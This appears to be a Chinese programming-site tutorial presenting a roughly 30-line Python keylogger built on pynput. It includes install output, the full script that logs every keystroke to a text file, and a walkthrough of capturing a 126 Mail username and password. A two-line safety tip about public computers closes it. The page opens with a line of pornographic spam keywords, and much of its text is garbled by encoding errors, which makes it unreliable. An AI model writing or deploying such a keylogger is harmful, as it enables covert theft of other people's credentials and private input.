亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

python只需30行代碼就能記錄鍵盤的一舉一動(dòng)

 更新時(shí)間:2021年08月19日 17:34:41   作者:LexSaints  
這篇文章主要介紹了如何用python只寫30行代碼就能記錄鍵盤的一舉一動(dòng),感興趣的同學(xué)快來(lái)看看吧,新手小白也能掌握

先看看效果

Like This↓

圖片

一、公共WiFi 公用電腦什么的

在我們?nèi)粘T诰€上工作、玩耍時(shí),不論開電腦、登錄淘寶、玩網(wǎng)游

統(tǒng)統(tǒng)都會(huì)用到鍵盤輸入

在幾乎所有網(wǎng)站,例如淘寶、百度、126郵箱等等

為了保護(hù)用戶信息

登錄時(shí),輸入框都是不可見的。

但是,輸入框都在界面上隱藏,讓我們看不到,就能真正的確保萬(wàn)無(wú)一失嗎?

圖片

二、鍵盤記錄器

今天介紹一種,通過鍵盤記錄的方法,獲取用戶通過鍵盤輸入的所有信息。

并實(shí)現(xiàn)獲取126郵箱的登錄用戶信息。

圖片

三、python代碼實(shí)現(xiàn)

1、安裝pynput模塊

PS C:\WINDOWS\system32> pip install pynput            Collecting pynput
  Downloading pynput-1.7.2-py2.py3-none-any.whl (99 kB)
     |████████████████████████████████| 99 kB 51 kB/s
Requirement already satisfied: six in d:\python36\lib\site-packages (from pynput) (1.12.0)
Installing collected packages: pynput
Successfully installed pynput-1.7.2
PS C:\WINDOWS\system32>

圖片

2、腳本完整代碼

# -*- coding:utf-8 -*-  
from pynput.keyboard import Key, Controller,Listener
import time
keyboard = Controller()
keys=[]
def on_press(key):
    string = str(key).replace("'","")


def on_release(key):
    global keys
    string = str(key).replace("'","")
    keys.append('\r'+string)
    main_string = "".join(keys)
    print(main_string)
    if len(main_string)>15:
      with open('D:\keys.txt', 'a') as f:
          f.write(main_string)   
          keys= []    
with Listener(on_press=on_press,on_release=on_release) as listener:
    listener.join()

3、啟動(dòng)腳本

將腳本放置在電腦的某個(gè)路徑下,運(yùn)行該程序;所有的鍵盤輸入,都會(huì)被記錄在相同目錄下的keys.txt文檔中。

PS D:\test> python .\keyRecord.py

圖片

4、登錄126郵箱 抓取用戶信息

在腳本運(yùn)行狀態(tài)下,登錄126郵箱,可以看到,通過鍵盤輸入的信息都被寫入到了keys.txt文檔中,包括用戶名輸完之后的tab按鈕和確定enter登錄按鈕

圖片

四、安全提示

陌生WiFi不要隨便連

陌生電腦不要隨便用

emmmm~~~~

到此這篇關(guān)于python只需30行代碼就能記錄鍵盤的一舉一動(dòng)的文章就介紹到這了,更多相關(guān)python記錄鍵盤內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

最新評(píng)論